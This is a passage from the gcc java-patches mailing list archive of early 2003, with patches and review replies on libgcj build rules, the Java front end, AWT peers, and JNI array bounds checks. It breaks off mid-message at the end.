Copyright (C) 1999, 2000, 2002, 2003 Free Software Foundation This file is part of GNU Classpath. @@ -141,11 +141,12 @@ && gc.getDevice().getType() != GraphicsDevice.TYPE_RASTER_SCREEN) throw new IllegalArgumentException ("gc must be from a screen device"); - if (gc == null) - graphicsConfiguration = GraphicsEnvironment.getLocalGraphicsEnvironment() - .getDefaultScreenDevice() - .getDefaultConfiguration(); - else + // FIXME: until we implement this, it just causes AWT to crash. +// if (gc == null) +// graphicsConfiguration = GraphicsEnvironment.getLocalGraphicsEnvironment() +// .getDefaultScreenDevice() +// .getDefaultConfiguration(); +// else graphicsConfiguration = gc; } From java-patches-return-5987-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 17:58:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8459 invoked by alias); 31 Jan 2003 17:58:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8439 invoked from network); 31 Jan 2003 17:58:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 17:58:31 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA03574; Fri, 31 Jan 2003 10:58:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 828DB4F8080; Fri, 31 Jan 2003 10:47:21 -0700 (MST) To: Java Patch List Subject: Patch: FYI: CHECK_FOR_BROKEN_MINGW_LD fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Well, here I am in AMERICA.. I LIKE it. I HATE it. I LIKE it. I HATE it. I LIKE it. I HATE it. I LIKE it. I HATE it. I LIKE.. EMOTIONS are SWEEPING over me!! Date: 31 Jan 2003 10:47:21 -0700 Message-ID: <87hebp1aae.fsf@fleche.redhat.com> Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. I'll be putting a similar patch on the 3.3 branch as well. Autoconf macros have to be in acinclude.m4 or they will be lost when aclocal.m4 is regenerated. Tom Index: ChangeLog from Tom Tromey * aclocal.m4, configure, include/config.h.in: Rebuilt. * acinclude.m4 (CHECK_FOR_BROKEN_MINGW_LD): Resurrected; was in aclocal.m4 and lost in some merge. Index: acinclude.m4 =================================================================== RCS file: /cvs/gcc/gcc/libjava/acinclude.m4,v retrieving revision 1.22 diff -u -r1.22 acinclude.m4 --- acinclude.m4 16 Dec 2002 18:22:50 -0000 1.22 +++ acinclude.m4 31 Jan 2003 17:55:34 -0000 @@ -249,3 +249,27 @@ [Define if your file defines LC_MESSAGES.]) fi fi]) + +AC_DEFUN([CHECK_FOR_BROKEN_MINGW_LD], +[ +AC_MSG_CHECKING(whether 'ld' is at least 2.13) +LD_PROG=`$CC --print-prog-name=ld` +LD_VERSION=`$LD_PROG --version` +LD_VERSION_MAJOR=`echo "$LD_VERSION" | head -1 | cut -d '.' -f 1 | cut -d ' ' -f 4` +LD_VERSION_MINOR=`echo "$LD_VERSION" | head -1 | cut -d '.' -f 2` +if expr "$LD_VERSION_MAJOR" \> 2 > /dev/null; then + LD_OK="ok" +else + if expr "$LD_VERSION_MAJOR" = 2 && expr "$LD_VERSION_MINOR" \>= 13 > /dev/null; then + LD_OK="ok" + fi +fi +if test "x$LD_OK" != x; then + AC_MSG_RESULT([yes; major=$LD_VERSION_MAJOR, minor=$LD_VERSION_MINOR]) +else + AC_MSG_RESULT([no; major=$LD_VERSION_MAJOR, minor=$LD_VERSION_MINOR]) + AC_MSG_WARN([ld <2.13 detected; enabling JV_LINKER_CANNOT_8BYTE_ALIGN_STATICS hack...]) + AC_DEFINE(JV_LINKER_CANNOT_8BYTE_ALIGN_STATICS, 1, + [Indicate that linker is not able to 8-byte align static data]) +fi[]dnl +])# CHECK_FOR_BROKEN_MINGW_LD From java-patches-return-5988-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 18:47:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16370 invoked by alias); 31 Jan 2003 18:47:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16355 invoked from network); 31 Jan 2003 18:47:48 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 31 Jan 2003 18:47:48 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-38.rdu.redhat.com [172.16.50.38]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 8CB08ABAF8; Fri, 31 Jan 2003 18:47:46 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0VIli323116; Fri, 31 Jan 2003 18:47:44 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15930.50384.934175.368825@cuddles.cambridge.redhat.com> Date: Fri, 31 Jan 2003 18:47:44 +0000 (GMT) To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org Subject: java/8457: [3.2/3.3 regression] ICE in generate_bytecode_insns, at java/jcf-write.c:1850 It seems that when we expand constructors of anonymous innter classes we generate access methods that we fail to expand, and later code generation explodes. Fix the fault by making another pass over all the classes and expanding the newly created methods. This doesn't completely fix the test case, as there are more inner class bugs, but it's better. No regressions on i686-RH8. Andrew. 2003-01-31 Andrew Haley * parse.y (java_expand_classes): Scan the whole class list looking for access methods that haven't yet been expanded. Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.417 diff -p -2 -c -r1.417 parse.y *** parse.y 14 Jan 2003 13:31:11 -0000 1.417 --- parse.y 31 Jan 2003 17:23:06 -0000 *************** java_expand_classes (void) *** 8877,8880 **** --- 8877,8939 ---- } + /* Expanding the constructors of anonymous classes generates access + methods. Scan all the methods looking for null DECL_RESULTs -- + this will be the case if a method hasn't been expanded. */ + for (cur_ctxp = ctxp_for_generation; cur_ctxp; cur_ctxp = cur_ctxp->next) + { + tree current; + ctxp = cur_ctxp; + for (current = ctxp->class_list; current; current = TREE_CHAIN (current)) + { + tree d; + current_class = TREE_TYPE (current); + for (d = TYPE_METHODS (current_class); d; d = TREE_CHAIN (d)) + { + if (DECL_RESULT (d) == NULL_TREE) + { + restore_line_number_status (1); + java_complete_expand_method (d); + restore_line_number_status (0); + } + } + } + } + + /* ??? Instead of all this we could iterate around the list of + classes until there were no more un-expanded methods. It would + take a little longer -- one pass over the whole list of methods + -- but it would be simpler. Like this: */ + #if 0 + { + int something_changed; + + do + { + something_changed = 0; + for (cur_ctxp = ctxp_for_generation; cur_ctxp; cur_ctxp = cur_ctxp->next) + { + tree current; + ctxp = cur_ctxp; + for (current = ctxp->class_list; current; current = TREE_CHAIN (current)) + { + tree d; + current_class = TREE_TYPE (current); + for (d = TYPE_METHODS (current_class); d; d = TREE_CHAIN (d)) + { + if (DECL_RESULT (d) == NULL_TREE) + { + something_changed = 1; + restore_line_number_status (1); + java_complete_expand_method (d); + restore_line_number_status (0); + } + } + } + } + } + while (something_changed); + } + #endif + /* If we've found error at that stage, don't try to generate anything, unless we're emitting xrefs or checking the syntax only From java-patches-return-5989-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 21:05:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4584 invoked by alias); 31 Jan 2003 21:05:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4576 invoked from network); 31 Jan 2003 21:05:32 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 31 Jan 2003 21:05:32 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18eiLX-0008Us-00; Fri, 31 Jan 2003 22:05:11 +0100 Subject: Re: Patch: FYI: Import AWT peers From: Mark Wielaard To: tromey@redhat.com Cc: Java Patch List In-Reply-To: <87u1fp1al3.fsf@fleche.redhat.com> References: <87u1fp1al3.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1044047121.758.14.camel@elsschot> Mime-Version: 1.0 Date: 31 Jan 2003 22:05:21 +0100 Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-31 at 18:40, Tom Tromey wrote: > I'm checking this in on the trunk only. > > This patch pulls in the Gtk AWT peers and adds the configure and build > support for them. Cool! I have it working now but I had two problems. I need the following patch to gjavah.c otherwise I would get segfaults while generating the new jni .h files. --- gjavah.c 12 Jan 2003 02:14:55 -0000 1.103 +++ gjavah.c 31 Jan 2003 21:00:06 -0000 @@ -1119,7 +1119,7 @@ for (length = 0; clname[length] != ';' && clname[length] != '\0'; ++length) ; - current = ALLOC (length); + current = ALLOC (length+1); for (i = 0; i < length; ++i) current[i] = clname[i] == '/' ? '.' : clname[i]; current[length] = '\0'; And the sed rule doesn't work correctly on my machine since it generates rules like (not the / at the front of the class name): ../../gcc/gcjh -jni -d jniinclude -classpath '' -bootclasspath . /gnu.java.awt.peer.gtk.GtkFileDialogPeer Something like the following helps for me (actually I just edited the generated Makefile): --- Makefile.am 31 Jan 2003 17:54:09 -0000 1.271 +++ Makefile.am 31 Jan 2003 21:03:46 -0000 @@ -231,7 +231,7 @@ $(gtk_c_headers): $(gtk_awt_peer_sources) ## FIXME: GNU make. - @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ + @input=`echo $@ | sed -e 's,jniinclude/,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ echo "$(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input"; \ $(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input I assume you are not seeing these issues. Has anybody else tried? Cheers, Mark From java-patches-return-5990-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 21:45:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26017 invoked by alias); 31 Jan 2003 21:45:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26010 invoked from network); 31 Jan 2003 21:45:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 21:45:47 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA28216; Fri, 31 Jan 2003 14:45:40 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D2FB44F8080; Fri, 31 Jan 2003 14:33:53 -0700 (MST) To: Java Patch List Subject: Patch: FYI: rename libgcjx From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If I pull this SWITCH I'll be RITA HAYWORTH!! Or a SCIENTOLOGIST! Date: 31 Jan 2003 14:33:53 -0700 Message-ID: <873cn9ypfi.fsf@fleche.redhat.com> Lines: 83 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. Now the xlib AWT peer library will be named lib-gnu-awt-xlib.la. This will let it be loaded automatically by AWT, without requiring the user to link it in to the executable. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (cond_x_ltlibrary): Renamed library to lib-gnu-awt-xlib.la. (lib_gnu_awt_xlib_la_SOURCES): Renamed. (EXTRA_lib_gnu_awt_xlib_la_SOURCES): Likewise. (lib_gnu_awt_xlib_la_DEPENDENCIES): Likewise. (lib_gnu_awt_xlib_la_LIBADD): Likewise. (lib_gnu_awt_xlib_la_LDFLAGS): Likewise. (lib_gnu_awt_xlib_la_LINK): Likewise. (install-exec-hook): Removed. (lib-gnu-awt-xlib.la): Renamed. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.6 diff -u -r1.264.2.6 Makefile.am --- Makefile.am 28 Jan 2003 01:45:44 -0000 1.264.2.6 +++ Makefile.am 31 Jan 2003 21:29:47 -0000 @@ -15,7 +15,7 @@ ## if XLIB_AWT -cond_x_ltlibrary = libgcjx.la +cond_x_ltlibrary = lib-gnu-awt-xlib.la ## We require libstdc++-v3 to be in the same build tree. xlib_includes = -I../libstdc++-v3/include -I../libstdc++-v3/include/$(target_alias) -I$(srcdir)/../libstdc++-v3/libsupc++ else @@ -197,23 +197,15 @@ org/xml/sax/XMLFilter.java \ org/xml/sax/XMLReader.java -libgcjx_la_SOURCES = $(x_nat_source_files) -EXTRA_libgcjx_la_SOURCES = $(x_java_source_files) -libgcjx_la_DEPENDENCIES = libgcj-@gcc_version@.jar $(x_javao_files) -libgcjx_la_LIBADD = $(x_javao_files) -libgcjx_la_LDFLAGS = @X_PRE_LIBS@ @X_LIBS@ -lX11 @X_EXTRA_LIBS@ \ +lib_gnu_awt_xlib_la_SOURCES = $(x_nat_source_files) +EXTRA_lib_gnu_awt_xlib_la_SOURCES = $(x_java_source_files) +lib_gnu_awt_xlib_la_DEPENDENCIES = libgcj-@gcc_version@.jar $(x_javao_files) +lib_gnu_awt_xlib_la_LIBADD = $(x_javao_files) +lib_gnu_awt_xlib_la_LDFLAGS = @X_PRE_LIBS@ @X_LIBS@ -lX11 @X_EXTRA_LIBS@ \ -rpath $(toolexeclibdir) \ ## The mysterious backslash is consumed by make. -version-info `grep -v '^\#' $(srcdir)/libtool-version` -libgcjx_la_LINK = $(LIBLINK) - -## Make a symlink for each `libgcjx' file that was installed. -install-exec-hook: - cd $(DESTDIR)$(libdir) && \ - if test -f libgcjx.la; then \ - rm -f gnu-awt-xlib.la; \ - $(LN_S) libgcjx.la gnu-awt-xlib.la; \ - fi +lib_gnu_awt_xlib_la_LINK = $(LIBLINK) all_java_source_files = \ $(java_source_files) \ @@ -281,10 +273,10 @@ @GCLIBS@ @LIBFFI@ @ZLIBS@ \ -rpath $(toolexeclibdir) $(libgcj_la_LDFLAGS) $(LIBS) -libgcjx.la: $(libgcjx_la_OBJECTS) $(libgcjx_la_DEPENDENCIES) - @: $(shell echo Creating list of files to link...) $(shell rm -f libgcjx.objectlist || :) $(shell touch libgcjx.objectlist) $(foreach object,$(libgcjx_la_OBJECTS) $(libgcjx_la_LIBADD),$(shell echo $(object) >> libgcjx.objectlist)) - $(libgcjx_la_LINK) -objectlist libgcjx.objectlist \ - -rpath $(toolexeclibdir) $(libgcjx_la_LDFLAGS) $(LIBS) +lib-gnu-awt-xlib.la: $(lib_gnu_awt_xlib_la_OBJECTS) $(lib_gnu_awt_xlib_la_DEPENDENCIES) + @: $(shell echo Creating list of files to link...) $(shell rm -f lib_gnu_awt_xlib.objectlist || :) $(shell touch lib_gnu_awt_xlib.objectlist) $(foreach object,$(lib_gnu_awt_xlib_la_OBJECTS) $(lib_gnu_awt_xlib_la_LIBADD),$(shell echo $(object) >> lib_gnu_awt_xlib.objectlist)) + $(lib_gnu_awt_xlib_la_LINK) -objectlist lib_gnu_awt_xlib.objectlist \ + -rpath $(toolexeclibdir) $(lib_gnu_awt_xlib_la_LDFLAGS) $(LIBS) ## ################################################################ From java-patches-return-5991-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 22:11:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7654 invoked by alias); 31 Jan 2003 22:11:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7647 invoked from network); 31 Jan 2003 22:11:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 22:11:04 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA02384; Fri, 31 Jan 2003 15:11:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AACC54F8080; Fri, 31 Jan 2003 14:59:14 -0700 (MST) To: Mark Wielaard Cc: Java Patch List Subject: Re: Patch: FYI: Import AWT peers References: <87u1fp1al3.fsf@fleche.redhat.com> <1044047121.758.14.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! Are we wet yet? Date: 31 Jan 2003 14:59:14 -0700 In-Reply-To: <1044047121.758.14.camel@elsschot> Message-ID: <87k7glx9ot.fsf@fleche.redhat.com> Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Cool! I have it working now but I had two problems. Glad you like it. I was a bit nervous about putting it in. But in the end I decided it is important, since we get slammed for not having AWT pretty regularly, and I thought it would help enable people to help out. Mark> --- gjavah.c 12 Jan 2003 02:14:55 -0000 1.103 Mark> +++ gjavah.c 31 Jan 2003 21:00:06 -0000 Mark> @@ -1119,7 +1119,7 @@ Mark> - current = ALLOC (length); Mark> + current = ALLOC (length+1); You need spaces around the `+', but otherwise this is "obviously correct". Please check it in on the trunk and the 3.3 branch. Thanks! Mark> - @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ Mark> + @input=`echo $@ | sed -e 's,jniinclude/,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ Yes, please check this in. Thanks. Mark> I assume you are not seeing these issues. Has anybody else tried? I'm not seeing them, but perhaps I had leftover headers in my build tree from some earlier revision of the patch (that code went through several changes). Sorry for that. Tom From java-patches-return-5992-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 22:42:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18173 invoked by alias); 31 Jan 2003 22:42:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18165 invoked from network); 31 Jan 2003 22:42:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 22:42:21 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA10372; Fri, 31 Jan 2003 15:42:19 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 18A0C4F8080; Fri, 31 Jan 2003 15:30:07 -0700 (MST) To: Daiki Ueno Cc: java-patches@gcc.gnu.org Subject: Re: PATCH: fastjar doesn't skip zip's extra fields correctly References: <981725bd-17df-4cc8-8196-4f0a019b2142@deisui.org> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm ZIPPY!! Are we having FUN yet?? Date: 31 Jan 2003 15:30:06 -0700 In-Reply-To: <981725bd-17df-4cc8-8196-4f0a019b2142@deisui.org> Message-ID: <878yx1x89d.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "DU" == Daiki Ueno writes: DU> I found that some zip files couldn't be extracted with fastjar. More DU> precisely, when such a zip file is present as an argument, zip's extra DU> fields are not properly skipped because jartool.c:extract_jar does DU> lseek(2) although in case pushback buffer is not empty. Thanks. This looks good. I'm checking it on in on the trunk and the 3.3 branch. Tom From java-patches-return-5993-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 22:49:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23500 invoked by alias); 31 Jan 2003 22:49:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23493 invoked from network); 31 Jan 2003 22:49:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 22:49:02 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA11964; Fri, 31 Jan 2003 15:49:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4D90D4F8080; Fri, 31 Jan 2003 15:37:02 -0700 (MST) To: Java Patch List Subject: Patch: FYI: a few JNI fixes From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm thinking about DIGITAL READ-OUT systems and computer-generated IMAGE FORMATIONS.. Date: 31 Jan 2003 15:37:01 -0700 Message-ID: <8765s5x7xu.fsf@fleche.redhat.com> Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii For the trunk and the 3.3 branch. Today I happened to run across a few missing JNI checks. Tom Index: ChangeLog from Tom Tromey * jni.cc (_Jv_JNI_NewObjectArray): Check that initializer can be cast to element type. (_Jv_JNI_SetObjectArrayElement): Check array bounds. (_Jv_JNI_GetObjectArrayElement): Likewise. Index: jni.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/jni.cc,v retrieving revision 1.68 diff -u -r1.68 jni.cc --- jni.cc 3 Dec 2002 03:54:05 -0000 1.68 +++ jni.cc 31 Jan 2003 22:34:47 -0000 @@ -1,6 +1,6 @@ // jni.cc - JNI implementation, including the jump table. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -1388,6 +1388,7 @@ elementClass = unwrap (elementClass); init = unwrap (init); + _Jv_CheckCast (elementClass, init); jarray result = JvNewObjectArray (length, elementClass, init); return (jarray) wrap_value (env, result); } @@ -1402,6 +1403,8 @@ (JNICALL _Jv_JNI_GetObjectArrayElement) (JNIEnv *env, jobjectArray array, jsize index) { + if ((unsigned) index >= (unsigned) array->length) + _Jv_ThrowBadArrayIndex (index); jobject *elts = elements (unwrap (array)); return wrap_value (env, elts[index]); } @@ -1416,6 +1419,8 @@ value = unwrap (value); _Jv_CheckArrayStore (array, value); + if ((unsigned) index >= (unsigned) array->length) + _Jv_ThrowBadArrayIndex (index); jobject *elts = elements (array); elts[index] = value; } From java-patches-return-5994-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 22:55:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29946 invoked by alias); 31 Jan 2003 22:55:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29938 invoked from network); 31 Jan 2003 22:55:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 22:55:56 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAB13691; Fri, 31 Jan 2003 15:55:51 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 297524F8080; Fri, 31 Jan 2003 15:43:53 -0700 (MST) To: raif@fl.net.au Cc: java-patches@gcc.gnu.org Subject: Re: BigInteger patch (long) References: <200212262244.25772.raif@fl.net.au> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My forehead feels like a PACKAGE of moist CRANBERRIES in a remote FRENCH OUTPOST!! Date: 31 Jan 2003 15:43:52 -0700 In-Reply-To: <200212262244.25772.raif@fl.net.au> Message-ID: <87znphvt1z.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Raif" == Raif S Naffah writes: Raif> the following is the diff for a modified BigInteger: Raif> [ ...] Sorry for the delay on this. Per ok'd this, so I was going to check it in today. Could you write a ChangeLog entry first though? This patch is pretty big and I'm not sure I could do it justice. Also if you could remove the commented-out code and resend the patch, that would help too. Tom From java-patches-return-5995-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 23:27:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13249 invoked by alias); 31 Jan 2003 23:27:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13239 invoked from network); 31 Jan 2003 23:27:33 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 23:27:33 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA21027; Fri, 31 Jan 2003 16:27:31 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CEF064F8080; Fri, 31 Jan 2003 16:15:29 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> <87adhkuad1.fsf@fleche.redhat.com> <016301c2c7db$e56e46d0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Where's SANDY DUNCAN? Date: 31 Jan 2003 16:15:29 -0700 In-Reply-To: <016301c2c7db$e56e46d0$3c16a8c0@mantatest.com> Message-ID: <87smv8x65q.fsf@fleche.redhat.com> Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> Index: libjava/ChangeLog Scott> from Scott Gilbertson It looks like this is a patch on top of an earlier patch. It didn't apply cleanly to my 3.3 tree. Could you regenerate it against the 3.3 branch (or the trunk, same difference) and also fix some style problems too? It needs a full ChangeLog entry. I can send you a URL for the GNU coding standards if you want, or you can just look at other entries. (The standards also talk about the GNU C style, which is the basis for our Java style.) There are numerous minor formatting problems, eg: Scott> + if( entry != null ) This should be formatted `if (entry != null)' Scott> + { This should be indented two spaces relative to the `if'. Scott> + } Scott> + /** Put an entry in the cache, eliminating the oldest entry if Scott> + * the cache is at capacity. Scott> + */ Scott> + void put( Font font, XFontMetrics fontMetrics ) There should be a newline after the `}'; the parens need to be fixed, etc. Thanks in advance. I know these things are a pain, especially if you usual programming style differs from the GNU style. Tom From java-patches-return-5996-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 00:25:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4013 invoked by alias); 1 Feb 2003 00:25:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4001 invoked from network); 1 Feb 2003 00:25:37 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 1 Feb 2003 00:25:37 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18elTD-0000LB-00; Sat, 01 Feb 2003 01:25:19 +0100 Subject: Re: Patch: FYI: Import AWT peers From: Mark Wielaard To: tromey@redhat.com Cc: Java Patch List , gcc-patches@gcc.gnu.org In-Reply-To: <87k7glx9ot.fsf@fleche.redhat.com> References: <87u1fp1al3.fsf@fleche.redhat.com> <1044047121.758.14.camel@elsschot> <87k7glx9ot.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-QuSNWPkXyhAMjjvpPrlh" Organization: Message-Id: <1044059129.751.123.camel@elsschot> Mime-Version: 1.0 Date: 01 Feb 2003 01:25:29 +0100 --=-QuSNWPkXyhAMjjvpPrlh Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-31 at 22:59, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> - current = ALLOC (length); > Mark> + current = ALLOC (length+1); > > You need spaces around the `+', but otherwise this is "obviously > correct". Please check it in on the trunk and the 3.3 branch. > Thanks! OK, I will commit the following: 2003-01-31 